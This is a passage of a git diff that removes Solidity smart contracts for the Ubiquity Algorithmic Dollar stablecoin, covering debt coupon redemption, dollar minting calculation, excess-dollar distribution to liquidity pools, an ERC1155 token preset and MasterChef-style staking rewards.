delta. - // should be reset to 0 when cycle ends - uint256 public dollarsMintedThisCycle; - bool public debtCycle; - uint256 public blockHeightDebt; - uint256 public couponLengthBlocks; - uint256 public expiredCouponConvertionRate = 2; - event ExpiredCouponConvertionRateChanged( - uint256 newRate, - uint256 previousRate - ); - - event CouponLengthChanged( - uint256 newCouponLengthBlocks, - uint256 previousCouponLengthBlocks - ); - - modifier onlyCouponManager() { - require( - manager.hasRole(manager.COUPON_MANAGER_ROLE(), msg.sender), - "Caller is not a coupon manager" - ); - _; - } - - /// @param _manager the address of the manager contract so we can fetch variables - /// @param _couponLengthBlocks how many blocks coupons last. can't be changed - /// once set (unless migrated) - constructor(address _manager, uint256 _couponLengthBlocks) { - manager = UbiquityAlgorithmicDollarManager(_manager); - couponLengthBlocks = _couponLengthBlocks; - } - - function setExpiredCouponConvertionRate(uint256 rate) - external - onlyCouponManager - { - emit ExpiredCouponConvertionRateChanged( - rate, - expiredCouponConvertionRate - ); - expiredCouponConvertionRate = rate; - } - - function setCouponLength(uint256 _couponLengthBlocks) - external - onlyCouponManager - { - emit CouponLengthChanged(_couponLengthBlocks, couponLengthBlocks); - couponLengthBlocks = _couponLengthBlocks; - } - - /// @dev called when a user wants to burn UAD for debt coupon. - /// should only be called when oracle is below a dollar - /// @param amount the amount of dollars to exchange for coupons - function exchangeDollarsForDebtCoupons(uint256 amount) - external - returns (uint256) - { - uint256 twapPrice = _getTwapPrice(); - - require(twapPrice < 1 ether, "Price must be below 1 to mint coupons"); - - DebtCoupon debtCoupon = DebtCoupon(manager.debtCouponAddress()); - debtCoupon.updateTotalDebt(); - - //we are in a down cycle so reset the cycle counter - // and set the blockHeight Debt - if (!debtCycle) { - debtCycle = true; - blockHeightDebt = block.number; - dollarsMintedThisCycle = 0; - } - - ICouponsForDollarsCalculator couponCalculator = ICouponsForDollarsCalculator( - manager.couponCalculatorAddress() - ); - uint256 couponsToMint = couponCalculator.getCouponAmount(amount); - - // we burn user's dollars. - UbiquityAlgorithmicDollar(manager.dollarTokenAddress()).burnFrom( - msg.sender, - amount - ); - - uint256 expiryBlockNumber = block.number + (couponLengthBlocks); - debtCoupon.mintCoupons(msg.sender, couponsToMint, expiryBlockNumber); - - //give the caller the block number of the minted nft - return expiryBlockNumber; - } - - /// @dev called when a user wants to burn UAD for uAR. - /// should only be called when oracle is below a dollar - /// @param amount the amount of dollars to exchange for uAR - /// @return amount of auto redeem tokens minted - function exchangeDollarsForUAR(uint256 amount) external returns (uint256) { - uint256 twapPrice = _getTwapPrice(); - - require(twapPrice < 1 ether, "Price must be below 1 to mint uAR"); - - DebtCoupon debtCoupon = DebtCoupon(manager.debtCouponAddress()); - debtCoupon.updateTotalDebt(); - - //we are in a down cycle so reset the cycle counter - // and set the blockHeight Debt - if (!debtCycle) { - debtCycle = true; - blockHeightDebt = block.number; - dollarsMintedThisCycle = 0; - } - - IUARForDollarsCalculator uarCalculator = IUARForDollarsCalculator( - manager.uarCalculatorAddress() - ); - uint256 uarToMint = uarCalculator.getUARAmount(amount, blockHeightDebt); - - // we burn user's dollars. - UbiquityAlgorithmicDollar(manager.dollarTokenAddress()).burnFrom( - msg.sender, - amount - ); - // mint uAR - UbiquityAutoRedeem autoRedeemToken = UbiquityAutoRedeem( - manager.autoRedeemTokenAddress() - ); - autoRedeemToken.mint(msg.sender, uarToMint); - - //give minted uAR amount - return uarToMint; - } - - /// @dev uses the current coupons for dollars calculation to get coupons for dollars - /// @param amount the amount of dollars to exchange for coupons - function getCouponsReturnedForDollars(uint256 amount) - external - view - returns (uint256) - { - ICouponsForDollarsCalculator couponCalculator = ICouponsForDollarsCalculator( - manager.couponCalculatorAddress() - ); - return couponCalculator.getCouponAmount(amount); - } - - /// @dev uses the current uAR for dollars calculation to get uAR for dollars - /// @param amount the amount of dollars to exchange for uAR - function getUARReturnedForDollars(uint256 amount) - external - view - returns (uint256) - { - IUARForDollarsCalculator uarCalculator = IUARForDollarsCalculator( - manager.uarCalculatorAddress() - ); - return uarCalculator.getUARAmount(amount, blockHeightDebt); - } - - /// @dev should be called by this contract only when getting coupons to be burnt - function onERC1155Received( - address operator, - address, - uint256, - uint256, - bytes calldata - ) external view override returns (bytes4) { - if (manager.hasRole(manager.COUPON_MANAGER_ROLE(), operator)) { - //allow the transfer since it originated from this contract - return - bytes4( - keccak256( - "onERC1155Received(address,address,uint256,uint256,bytes)" - ) - ); - } else { - //reject the transfer - return ""; - } - } - - /// @dev this method is never called by the contract so if called, - /// it was called by someone else -> revert. - function onERC1155BatchReceived( - address, - address, - uint256[] calldata, - uint256[] calldata, - bytes calldata - ) external pure override returns (bytes4) { - //reject the transfer - return ""; - } - - /// @dev let debt holder burn expired coupons for UGOV. Doesn't make TWAP > 1 check. - /// @param id the timestamp of the coupon - /// @param amount the amount of coupons to redeem - /// @return uGovAmount amount of UGOV tokens minted to debt holder - function burnExpiredCouponsForUGOV(uint256 id, uint256 amount) - public - returns (uint256 uGovAmount) - { - // Check whether debt coupon hasn't expired --> Burn debt coupons. - DebtCoupon debtCoupon = DebtCoupon(manager.debtCouponAddress()); - - require(id <= block.number, "Coupon has not expired"); - require( - debtCoupon.balanceOf(msg.sender, id) >= amount, - "User not enough coupons" - ); - - debtCoupon.burnCoupons(msg.sender, amount, id); - - // Mint UGOV tokens to this contract. Transfer UGOV tokens to msg.sender i.e. debt holder - IERC20Ubiquity uGOVToken = IERC20Ubiquity( - manager.governanceTokenAddress() - ); - uGovAmount = amount / expiredCouponConvertionRate; - uGOVToken.mint(msg.sender, uGovAmount); - } - - // TODO should we leave it ? - /// @dev Lets debt holder burn coupons for auto redemption. Doesn't make TWAP > 1 check. - /// @param id the timestamp of the coupon - /// @param amount the amount of coupons to redeem - /// @return amount of auto redeem pool tokens (i.e. LP tokens) minted to debt holder - function burnCouponsForAutoRedemption(uint256 id, uint256 amount) - public - returns (uint256) - { - // Check whether debt coupon hasn't expired --> Burn debt coupons. - DebtCoupon debtCoupon = DebtCoupon(manager.debtCouponAddress()); - - require(id > block.timestamp, "Coupon has expired"); - require( - debtCoupon.balanceOf(msg.sender, id) >= amount, - "User not enough coupons" - ); - - debtCoupon.burnCoupons(msg.sender, amount, id); - - // Mint LP tokens to this contract. Transfer LP tokens to msg.sender i.e. debt holder - UbiquityAutoRedeem autoRedeemToken = UbiquityAutoRedeem( - manager.autoRedeemTokenAddress() - ); - autoRedeemToken.mint(address(this), amount); - autoRedeemToken.transfer(msg.sender, amount); - - return autoRedeemToken.balanceOf(msg.sender); - } - - /// @dev Exchange auto redeem pool token for uAD tokens. - /// @param amount Amount of uAR tokens to burn in exchange for uAD tokens. - /// @return amount of unredeemed uAR - function burnAutoRedeemTokensForDollars(uint256 amount) - public - returns (uint256) - { - uint256 twapPrice = _getTwapPrice(); - require(twapPrice > 1 ether, "Price must be above 1 to auto redeem"); - if (debtCycle) { - debtCycle = false; - } - UbiquityAutoRedeem autoRedeemToken = UbiquityAutoRedeem( - manager.autoRedeemTokenAddress() - ); - require( - autoRedeemToken.balanceOf(msg.sender) >= amount, - "User doesn't have enough auto redeem pool tokens." - ); - - UbiquityAlgorithmicDollar uAD = UbiquityAlgorithmicDollar( - manager.dollarTokenAddress() - ); - uint256 maxRedeemableUAR = uAD.balanceOf(address(this)); - - if (maxRedeemableUAR <= 0) { - mintClaimableDollars(); - maxRedeemableUAR = uAD.balanceOf(address(this)); - } - - uint256 uarToRedeem = amount; - if (amount > maxRedeemableUAR) { - uarToRedeem = maxRedeemableUAR; - } - autoRedeemToken.burnFrom(msg.sender, uarToRedeem); - uAD.transfer(msg.sender, uarToRedeem); - - return amount - uarToRedeem; - } - - /// @param id the block number of the coupon - /// @param amount the amount of coupons to redeem - /// @return amount of unredeemed coupons - function redeemCoupons(uint256 id, uint256 amount) - public - returns (uint256) - { - uint256 twapPrice = _getTwapPrice(); - - require(twapPrice > 1 ether, "Price must be above 1 to redeem coupons"); - if (debtCycle) { - debtCycle = false; - } - DebtCoupon debtCoupon = DebtCoupon(manager.debtCouponAddress()); - - require(id > block.number, "Coupon has expired"); - require( - debtCoupon.balanceOf(msg.sender, id) >= amount, - "User not enough coupons" - ); - - mintClaimableDollars(); - UbiquityAlgorithmicDollar uAD = UbiquityAlgorithmicDollar( - manager.dollarTokenAddress() - ); - UbiquityAutoRedeem autoRedeemToken = UbiquityAutoRedeem( - manager.autoRedeemTokenAddress() - ); - // uAR have a priority on uDEBT coupon holder - require( - autoRedeemToken.totalSupply() <= uAD.balanceOf(address(this)), - "There aren't enough uAD to redeem currently" - ); - uint256 maxRedeemableCoupons = uAD.balanceOf(address(this)) - - autoRedeemToken.totalSupply(); - uint256 couponsToRedeem = amount; - - if (amount > maxRedeemableCoupons) { - couponsToRedeem = maxRedeemableCoupons; - } - require( - uAD.balanceOf(address(this)) > 0, - "There aren't any uAD to redeem currently" - ); - - // debtCouponManager must be an operator to transfer on behalf of msg.sender - debtCoupon.burnCoupons(msg.sender, couponsToRedeem, id); - uAD.transfer(msg.sender, couponsToRedeem); - - return amount - (couponsToRedeem); - } - - function mintClaimableDollars() public { - DebtCoupon debtCoupon = DebtCoupon(manager.debtCouponAddress()); - debtCoupon.updateTotalDebt(); - - // uint256 twapPrice = _getTwapPrice(); //unused variable. Why here? - uint256 totalMintableDollars = IDollarMintingCalculator( - manager.dollarMintingCalculatorAddress() - ).getDollarsToMint(); - uint256 dollarsToMint = totalMintableDollars - (dollarsMintedThisCycle); - //update the dollars for this cycle - dollarsMintedThisCycle = totalMintableDollars; - - UbiquityAlgorithmicDollar uAD = UbiquityAlgorithmicDollar( - manager.dollarTokenAddress() - ); - // uAD dollars should be minted to address(this) - uAD.mint(address(this), dollarsToMint); - UbiquityAutoRedeem autoRedeemToken = UbiquityAutoRedeem( - manager.autoRedeemTokenAddress() - ); - - uint256 currentRedeemableBalance = uAD.balanceOf(address(this)); - uint256 totalOutstandingDebt = debtCoupon.getTotalOutstandingDebt() + - autoRedeemToken.totalSupply(); - - if (currentRedeemableBalance > totalOutstandingDebt) { - uint256 excessDollars = currentRedeemableBalance - - (totalOutstandingDebt); - - IExcessDollarsDistributor dollarsDistributor = IExcessDollarsDistributor( - manager.getExcessDollarsDistributor(address(this)) - ); - //transfer excess dollars to the distributor and tell it to distribute - uAD.transfer( - manager.getExcessDollarsDistributor(address(this)), - excessDollars - ); - dollarsDistributor.distributeDollars(); - } - } - - function _getTwapPrice() internal returns (uint256) { - TWAPOracle(manager.twapOracleAddress()).update(); - return - TWAPOracle(manager.twapOracleAddress()).consult( - manager.dollarTokenAddress() - ); - } -} diff --git a/packages/contracts/dollar/contracts/DollarMintingCalculator.sol b/packages/contracts/dollar/contracts/DollarMintingCalculator.sol deleted file mode 100644 index 1b9a11a89..000000000 --- a/packages/contracts/dollar/contracts/DollarMintingCalculator.sol +++ /dev/null @@ -1,42 +0,0 @@ -// SPDX-License-Identifier: MIT -pragma solidity ^0.8.3; - -import "./UbiquityAlgorithmicDollarManager.sol"; -import "./interfaces/IDollarMintingCalculator.sol"; -import "@openzeppelin/contracts/token/ERC20/IERC20.sol"; -import "./TWAPOracle.sol"; -import "./libs/ABDKMathQuad.sol"; - -/// @title A mock coupon calculator that always returns a constant -contract DollarMintingCalculator is IDollarMintingCalculator { - using ABDKMathQuad for uint256; - using ABDKMathQuad for bytes16; - - bytes16 private immutable _one = (uint256(1 ether)).fromUInt(); - UbiquityAlgorithmicDollarManager public manager; - - /// @param _manager the address of the manager contract so we can fetch variables - constructor(address _manager) { - manager = UbiquityAlgorithmicDollarManager(_manager); - } - - /// @notice returns (TWAP_PRICE -1) * UAD_Total_Supply - function getDollarsToMint() external view override returns (uint256) { - TWAPOracle oracle = TWAPOracle(manager.twapOracleAddress()); - uint256 twapPrice = oracle.consult(manager.dollarTokenAddress()); - require(twapPrice > 1, "DollarMintingCalculator: not > 1"); - return - twapPrice - .fromUInt() - .sub(_one) - .mul( - ( - IERC20(manager.dollarTokenAddress()) - .totalSupply() - .fromUInt() - .div(_one) - ) - ) - .toUInt(); - } -} diff --git a/packages/contracts/dollar/contracts/ERC1155Ubiquity.sol b/packages/contracts/dollar/contracts/ERC1155Ubiquity.sol deleted file mode 100644 index 3e7892299..000000000 --- a/packages/contracts/dollar/contracts/ERC1155Ubiquity.sol +++ /dev/null @@ -1,177 +0,0 @@ -// SPDX-License-Identifier: MIT -pragma solidity ^0.8.3; - -import "@openzeppelin/contracts/token/ERC1155/ERC1155.sol"; -import "@openzeppelin/contracts/token/ERC1155/extensions/ERC1155Burnable.sol"; -import "@openzeppelin/contracts/token/ERC1155/extensions/ERC1155Pausable.sol"; -import "./UbiquityAlgorithmicDollarManager.sol"; -import "./utils/SafeAddArray.sol"; - -/// @title ERC1155 Ubiquity preset -/// @author Ubiquity Algorithmic Dollar -/// @notice ERC1155 with : -/// - ERC1155 minter, burner and pauser -/// - TotatSupply per id -/// - Ubiquity Manager access control -contract ERC1155Ubiquity is ERC1155, ERC1155Burnable, ERC1155Pausable { - using SafeAddArray for uint256[]; - UbiquityAlgorithmicDollarManager public manager; - // Mapping from account to operator approvals - mapping(address => uint256[]) private _holderBalances; - uint256 private _totalSupply; - - // ----------- Modifiers ----------- - modifier onlyMinter() { - require( - manager.hasRole(manager.UBQ_MINTER_ROLE(), msg.sender), - "Governance token: not minter" - ); - _; - } - - modifier onlyBurner() { - require( - manager.hasRole(manager.UBQ_BURNER_ROLE(), msg.sender), - "Governance token: not burner" - ); - _; - } - - modifier onlyPauser() { - require( - manager.hasRole(manager.PAUSER_ROLE(), msg.sender), - "Governance token: not pauser" - ); - _; - } - - /** - * @dev constructor - */ - constructor(address _manager, string memory uri) ERC1155(uri) { - manager = UbiquityAlgorithmicDollarManager(_manager); - } - - // @dev Creates `amount` new tokens for `to`, of token type `id`. - function mint( - address to, - uint256 id, - uint256 amount, - bytes memory data - ) public virtual onlyMinter { - _mint(to, id, amount, data); - _totalSupply += amount; - _holderBalances[to].add(id); - } - - // @dev xref:ROOT:erc1155.adoc#batch-operations[Batched] variant of {mint}. - function mintBatch( - address to, - uint256[] memory ids, - uint256[] memory amounts, - bytes memory data - ) public virtual onlyMinter whenNotPaused { - _mintBatch(to, ids, amounts, data); - for (uint256 i = 0; i < ids.length; ++i) { - _totalSupply += amounts[i]; - } - _holderBalances[to].add(ids); - } - - /** - * @dev Pauses all token transfers. - * - * See {ERC1155Pausable} and {Pausable-_pause}. - * - */ - function pause() public virtual onlyPauser { - _pause(); - } - - /** - * @dev Unpauses all token transfers. - * - * See {ERC1155Pausable} and {Pausable-_unpause}. - * - */ - function unpause() public virtual onlyPauser { - _unpause(); - } - - /** - * @dev See {IERC1155-safeTransferFrom}. - */ - function safeTransferFrom( - address from, - address to, - uint256 id, - uint256 amount, - bytes memory data - ) public override { - super.safeTransferFrom(from, to, id, amount, data); - _holderBalances[to].add(id); - } - - /** - * @dev See {IERC1155-safeBatchTransferFrom}. - */ - function safeBatchTransferFrom( - address from, - address to, - uint256[] memory ids, - uint256[] memory amounts, - bytes memory data - ) public virtual override { - super.safeBatchTransferFrom(from, to, ids, amounts, data); - _holderBalances[to].add(ids); - } - - /** - * @dev Total amount of tokens in with a given id. - */ - function totalSupply() public view virtual returns (uint256) { - return _totalSupply; - } - - /** - * @dev array of token Id held by the msg.sender. - */ - function holderTokens(address holder) - public - view - returns (uint256[] memory) - { - return _holderBalances[holder]; - } - - function _burn( - address account, - uint256 id, - uint256 amount - ) internal virtual override whenNotPaused { - super._burn(account, id, amount); - _totalSupply -= amount; - } - - function _burnBatch( - address account, - uint256[] memory ids, - uint256[] memory amounts - ) internal virtual override whenNotPaused { - super._burnBatch(account, ids, amounts); - for (uint256 i = 0; i < ids.length; ++i) { - _totalSupply -= amounts[i]; - } - } - - function _beforeTokenTransfer( - address operator, - address from, - address to, - uint256[] memory ids, - uint256[] memory amounts, - bytes memory data - ) internal virtual override(ERC1155, ERC1155Pausable) { - super._beforeTokenTransfer(operator, from, to, ids, amounts, data); - } -} diff --git a/packages/contracts/dollar/contracts/ExcessDollarsDistributor.sol b/packages/contracts/dollar/contracts/ExcessDollarsDistributor.sol deleted file mode 100644 index d140192f6..000000000 --- a/packages/contracts/dollar/contracts/ExcessDollarsDistributor.sol +++ /dev/null @@ -1,161 +0,0 @@ -// SPDX-License-Identifier: MIT -pragma solidity ^0.8.3; - -import "@openzeppelin/contracts/token/ERC20/IERC20.sol"; -import "./interfaces/IERC20Ubiquity.sol"; -import "@openzeppelin/contracts/token/ERC20/utils/SafeERC20.sol"; -import "@uniswap/v2-core/contracts/interfaces/IUniswapV2Pair.sol"; -import "@uniswap/v2-periphery/contracts/interfaces/IUniswapV2Router02.sol"; -import "./interfaces/IExcessDollarsDistributor.sol"; -import "./interfaces/IMetaPool.sol"; -import "./UbiquityAlgorithmicDollarManager.sol"; -import "./SushiSwapPool.sol"; -import "./libs/ABDKMathQuad.sol"; - -/// @title An excess dollar distributor which sends dollars to treasury, -/// lp rewards and inflation rewards -contract ExcessDollarsDistributor is IExcessDollarsDistributor { - using SafeERC20 for IERC20Ubiquity; - using SafeERC20 for IERC20; - using ABDKMathQuad for uint256; - using ABDKMathQuad for bytes16; - UbiquityAlgorithmicDollarManager public manager; - uint256 private immutable _minAmountToDistribute = 100 ether; - IUniswapV2Router02 private immutable _router = - IUniswapV2Router02(0xd9e1cE17f2641f24aE83637ab66a2cca9C378B9F); // SushiV2Router02 - - /// @param _manager the address of the manager contract so we can fetch variables - constructor(address _manager) { - manager = UbiquityAlgorithmicDollarManager(_manager); - } - - function distributeDollars() external override { - //the excess dollars which were sent to this contract by the coupon manager - uint256 excessDollars = IERC20Ubiquity(manager.dollarTokenAddress()) - .balanceOf(address(this)); - if (excessDollars > _minAmountToDistribute) { - address treasuryAddress = manager.treasuryAddress(); - - // curve uAD-3CRV liquidity pool - uint256 tenPercent = excessDollars - .fromUInt() - .div(uint256(10).fromUInt()) - .toUInt(); - uint256 fiftyPercent = excessDollars - .fromUInt() - .div(uint256(2).fromUInt()) - .toUInt(); - IERC20Ubiquity(manager.dollarTokenAddress()).safeTransfer( - treasuryAddress, - fiftyPercent - ); - // convert uAD to uGOV-UAD LP on sushi and burn them - _governanceBuyBackLPAndBurn(tenPercent); - // convert remaining uAD to curve LP tokens - // and transfer the curve LP tokens to the bonding contract - _convertToCurveLPAndTransfer( - excessDollars - fiftyPercent - tenPercent - ); - } - } - - // swap half amount to uGOV - function _swapDollarsForGovernance(bytes16 amountIn) - internal - returns (uint256) - { - address[] memory path = new address[](2); - path[0] = manager.dollarTokenAddress(); - path[1] = manager.governanceTokenAddress(); - uint256[] memory amounts = _router.swapExactTokensForTokens( - amountIn.toUInt(), - 0, - path, - address(this), - block.timestamp + 100 - ); - - return amounts[1]; - } - - // buy-back and burn uGOV - function _governanceBuyBackLPAndBurn(uint256 amount) internal { - bytes16 amountUAD = (amount.fromUInt()).div(uint256(2).fromUInt()); - - // we need to approve sushi router - IERC20Ubiquity(manager.dollarTokenAddress()).safeApprove( - address(_router), - 0 - ); - IERC20Ubiquity(manager.dollarTokenAddress()).safeApprove( - address(_router), - amount - ); - uint256 amountUGOV = _swapDollarsForGovernance(amountUAD); - - IERC20Ubiquity(manager.governanceTokenAddress()).safeApprove( - address(_router), - 0 - ); - IERC20Ubiquity(manager.governanceTokenAddress()).safeApprove( - address(_router), - amountUGOV - ); - - // deposit liquidity and transfer to zero address (burn) - _router.addLiquidity( - manager.dollarTokenAddress(), - manager.governanceTokenAddress(), - amountUAD.toUInt(), - amountUGOV, - 0, - 0, - address(0), - block.timestamp + 100 - ); - } - - // @dev convert to curve LP - // @param amount to convert to curve LP by swapping to 3CRV - // and deposit the 3CRV as liquidity to get uAD-3CRV LP tokens - // the LP token are sent to the bonding contract - function _convertToCurveLPAndTransfer(uint256 amount) - internal - returns (uint256) - { - // we need to approve metaPool - IERC20Ubiquity(manager.dollarTokenAddress()).safeApprove( - manager.stableSwapMetaPoolAddress(), - 0 - ); - IERC20Ubiquity(manager.dollarTokenAddress()).safeApprove( - manager.stableSwapMetaPoolAddress(), - amount - ); - - // swap amount of uAD => 3CRV - uint256 amount3CRVReceived = IMetaPool( - manager.stableSwapMetaPoolAddress() - ).exchange(0, 1, amount, 0); - - // approve metapool to transfer our 3CRV - IERC20(manager.curve3PoolTokenAddress()).safeApprove( - manager.stableSwapMetaPoolAddress(), - 0 - ); - IERC20(manager.curve3PoolTokenAddress()).safeApprove( - manager.stableSwapMetaPoolAddress(), - amount3CRVReceived - ); - - // deposit liquidity - uint256 res = IMetaPool(manager.stableSwapMetaPoolAddress()) - .add_liquidity( - [0, amount3CRVReceived], - 0, - manager.bondingContractAddress() - ); - // update TWAP price - return res; - } -} diff --git a/packages/contracts/dollar/contracts/MasterChef.sol b/packages/contracts/dollar/contracts/MasterChef.sol deleted file mode 100644 index 22985ebfc..000000000 --- a/packages/contracts/dollar/contracts/MasterChef.sol +++ /dev/null @@ -1,225 +0,0 @@ -// SPDX-License-Identifier: MIT -pragma solidity 0.8.3; - -import "@openzeppelin/contracts/token/ERC20/utils/SafeERC20.sol"; -import "./interfaces/IERC20Ubiquity.sol"; -import "./UbiquityAlgorithmicDollarManager.sol"; -import "./interfaces/ITWAPOracle.sol"; -import "./interfaces/IERC1155Ubiquity.sol"; -import "./interfaces/IUbiquityFormulas.sol"; - -contract MasterChef { - using SafeERC20 for IERC20Ubiquity; - using SafeERC20 for IERC20; - // Info of each user. - struct UserInfo { - uint256 amount; // How many uAD-3CRV LP tokens the user has provided. - uint256 rewardDebt; // Reward debt. See explanation below. - // - // We do some fancy math here. Basically, any point in time, the amount of uGOVs - // entitled to a user but is pending to be distributed is: - // - // pending reward = (user.amount * pool.accuGOVPerShare) - user.rewardDebt - // - // Whenever a user deposits or withdraws LP tokens to a pool. Here's what happens: - // 1. The pool's `accuGOVPerShare` (and `lastRewardBlock`) gets updated. - // 2. User receives the pending reward sent to his/her address. - // 3. User's `amount` gets updated. - // 4. User's `rewardDebt` gets updated. - } - // Info of each pool. - struct PoolInfo { - uint256 lastRewardBlock; // Last block number that uGOVs distribution occurs. - uint256 accuGOVPerShare; // Accumulated uGOVs per share, times 1e12. See below. - } - - // Ubiquity Manager - UbiquityAlgorithmicDollarManager public manager; - - // uGOV tokens created per block. - uint256 public uGOVPerBlock = 1e18; - // Bonus muliplier for early uGOV makers. - uint256 public uGOVmultiplier = 1e18; - uint256 public minPriceDiffToUpdateMultiplier = 1000000000000000; - uint256 public lastPrice = 1 ether; - // Info of each pool. - PoolInfo public pool; - // Info of each user that stakes LP tokens. - mapping(address => UserInfo) public userInfo; - - event Deposit(address indexed user, uint256 amount); - - event Withdraw(address indexed user, uint256 amount); - - // ----------- Modifiers ----------- - modifier onlyTokenManager() { - require( - manager.hasRole(manager.UBQ_TOKEN_MANAGER_ROLE(), msg.sender), - "MasterChef: not UBQ manager" - ); - _; - } - modifier onlyBondingContract() { - require( - msg.sender == manager.bondingContractAddress(), - "MasterChef: not Bonding Contract" - ); - _; - } - - constructor(address _manager) { - manager = UbiquityAlgorithmicDollarManager(_manager); - pool.lastRewardBlock = block.number; - pool.accuGOVPerShare = 0; // uint256(1e12); - _updateUGOVMultiplier(); - } - - function setUGOVPerBlock(uint256 _uGOVPerBlock) external onlyTokenManager { - uGOVPerBlock = _uGOVPerBlock; - } - - function setMinPriceDiffToUpdateMultiplier( - uint256 _minPriceDiffToUpdateMultiplier - ) external onlyTokenManager { - minPriceDiffToUpdateMultiplier = _minPriceDiffToUpdateMultiplier; - } - - // Deposit LP tokens to MasterChef for uGOV allocation. - function deposit(uint256 _amount, address sender) - external - onlyBondingContract - { - UserInfo storage user = userInfo[sender]; - _updatePool(); - if (user.amount > 0) { - uint256 pending = ((user.amount * pool.accuGOVPerShare) / 1e12) - - user.rewardDebt; - _safeUGOVTransfer(sender, pending); - } - user.amount = user.amount + _amount; - user.rewardDebt = (user.amount * pool.accuGOVPerShare) / 1e12; - emit Deposit(sender, _amount); - } - - // Withdraw LP tokens from MasterChef. - function withdraw(uint256 _amount, address sender) - external - onlyBondingContract - { - UserInfo storage user = userInfo[sender]; - require(user.amount >= _amount, "MC: amount too high"); - _updatePool(); - uint256 pending = ((user.amount * pool.accuGOVPerShare) / 1e12) - - user.rewardDebt; - _safeUGOVTransfer(sender, pending); - user.amount = user.amount - _amount; - user.rewardDebt = (user.amount * pool.accuGOVPerShare) / 1e12; - emit Withdraw(sender, _amount); - } - - /// @dev get pending uGOV rewards from MasterChef. - /// @return amount of pending rewards transfered to msg.sender - /// @notice only send pending rewards - function getRewards() external returns (uint256) { - UserInfo storage user = userInfo[msg.sender]; - _updatePool(); - uint256 pending = ((user.amount * pool.accuGOVPerShare) / 1e12) - - user.rewardDebt; - _safeUGOVTransfer(msg.sender, pending); - user.rewardDebt = (user.amount * pool.accuGOVPerShare) / 1e12; - return pending; - } - - // View function to see pending uGOVs on frontend. - function pendingUGOV(address _user) external view returns (uint256) { - UserInfo storage user = userInfo[_user]; - uint256 accuGOVPerShare = pool.accuGOVPerShare; - uint256 lpSupply = IERC1155Ubiquity(manager.bondingShareAddress()) - .totalSupply(); - - if (block.number > pool.lastRewardBlock && lpSupply != 0) { - uint256 multiplier = _getMultiplier(); - - uint256 uGOVReward = (multiplier * uGOVPerBlock) / 1e18; - accuGOVPerShare = - accuGOVPerShare + - ((uGOVReward * 1e12) / lpSupply); - } - - return (user.amount * accuGOVPerShare) / 1e12 - user.rewardDebt; - } - - // UPDATE uGOV multiplier - function _updateUGOVMultiplier() internal { - // (1.05/(1+abs(1-TWAP_PRICE))) - uint256 currentPrice = _getTwapPrice(); - - bool isPriceDiffEnough = false; - // a minimum price variation is needed to update the multiplier - if (currentPrice > lastPrice) { - isPriceDiffEnough = - currentPrice - lastPrice > minPriceDiffToUpdateMultiplier; - } else { - isPriceDiffEnough = - lastPrice - currentPrice > minPriceDiffToUpdateMultiplier; - } - - if (isPriceDiffEnough) { - uGOVmultiplier = IUbiquityFormulas(manager.formulasAddress()) - .ugovMultiply(uGOVmultiplier, currentPrice); - lastPrice = currentPrice; - } - } - - // Update reward variables of the given pool to be up-to-date. - function _updatePool() internal { - if (block.number <= pool.lastRewardBlock) { - return; - } - _updateUGOVMultiplier(); - uint256 lpSupply = IERC1155Ubiquity(manager.bondingShareAddress()) - .totalSupply(); - if (lpSupply == 0) { - pool.lastRewardBlock = block.number; - return; - } - uint256 multiplier = _getMultiplier(); - uint256 uGOVReward = (multiplier * uGOVPerBlock) / 1e18; - IERC20Ubiquity(manager.governanceTokenAddress()).mint( - address(this), - uGOVReward - ); - // mint another 20% for the treasury - IERC20Ubiquity(manager.governanceTokenAddress()).mint( - manager.treasuryAddress(), - uGOVReward / 5 - ); - pool.accuGOVPerShare = - pool.accuGOVPerShare + - ((uGOVReward * 1e12) / lpSupply); - pool.lastRewardBlock = block.number; - } - - // Safe uGOV transfer function, just in case if rounding - // error causes pool to not have enough uGOVs. - function _safeUGOVTransfer(address _to, uint256 _amount) internal { - IERC20Ubiquity uGOV = IERC20Ubiquity(manager.governanceTokenAddress()); - uint256 uGOVBal = uGOV.balanceOf(address(this)); - if (_amount > uGOVBal) { - uGOV.safeTransfer(_to, uGOVBal); - } else { - uGOV.safeTransfer(_to, _amount); - } - } - - function _getMultiplier() internal view returns (uint256) { - return (block.number - pool.lastRewardBlock) * uGOVmultiplier; - } - - function _getTwapPrice() internal view returns (uint256) { - return - ITWAPOracle(manager.twapOracleAddress()).consult( - manager.dollarTokenAddress() - ); - } -} diff --git a/packages/contracts/dollar/contracts/MasterChefOriginal.sol b/packages/contracts/dollar/contracts/MasterChefOriginal.sol deleted file mode 100644 index b83351938..000000000 --- a/packages/contracts/dollar/contracts/MasterChefOriginal.sol +++ /dev/null @@ -1,284 +0,0 @@ -// SPDX-License-Identifier: MIT -pragma solidity 0.8.3; - -import "./interfaces/IERC20Ubiquity.sol"; -import "@openzeppelin/contracts/token/ERC20/utils/SafeERC20.sol"; -import "@openzeppelin/contracts/access/Ownable.sol"; -import "./UbiquityAlgorithmicDollarManager.sol"; - -// MasterChef is the master of UBQ. He can make UBQ and he is a fair guy. -// -// Note that it's ownable and the owner wields tremendous power. The ownership -// will be transferred to a governance smart contract once UBQ is sufficiently -// distributed and the community can show to govern itself. -// -// Have fun reading it. Hopefully it's bug-free. God bless. -contract MasterChefOriginal is Ownable { - using SafeERC20 for IERC20Ubiquity; - using SafeERC20 for IERC20; - // Info of each user. - struct UserInfo { - uint256 amount; // How many LP tokens the user has provided. - uint256 rewardDebt; // Reward debt. See explanation below. - // - // We do some fancy math here. Basically, any point in time, the amount of UBQs - // entitled to a user but is pending to be distributed is: - // - // pending reward = (user.amount * pool.accUbqPerShare) - user.rewardDebt - // - // Whenever a user deposits or withdraws LP tokens to a pool. Here's what happens: - // 1. The pool's `accUbqPerShare` (and `lastRewardBlock`) gets updated. - // 2. User receives the pending reward sent to his/her address. - // 3. User's `amount` gets updated. - // 4. User's `rewardDebt` gets updated. - } - // Info of each pool. - struct PoolInfo { - IERC20 lpToken; // Address of LP token contract. - // How many allocation points assigned to this pool. UBQ to distribute per block. - uint256 allocPoint; - uint256 lastRewardBlock; // Last block number that UBQs distribution occurs. - uint256 accUbqPerShare; // Accumulated UBQs per share, times 1e12. See below. - } - // Ubiquity Manager - UbiquityAlgorithmicDollarManager public manager; - // Block number when bonus UBQ period ends. - uint256 public bonusEndBlock; - // UBQ tokens created per block. - uint256 public ubqPerBlock; - // Bonus muliplier for early ubq makers. - uint256 public constant BONUS_MULTIPLIER = 10; - uint256 public uGOVDivider; - // Info of each pool. - PoolInfo[] public poolInfo; - // Info of each user that stakes LP tokens. - mapping(uint256 => mapping(address => 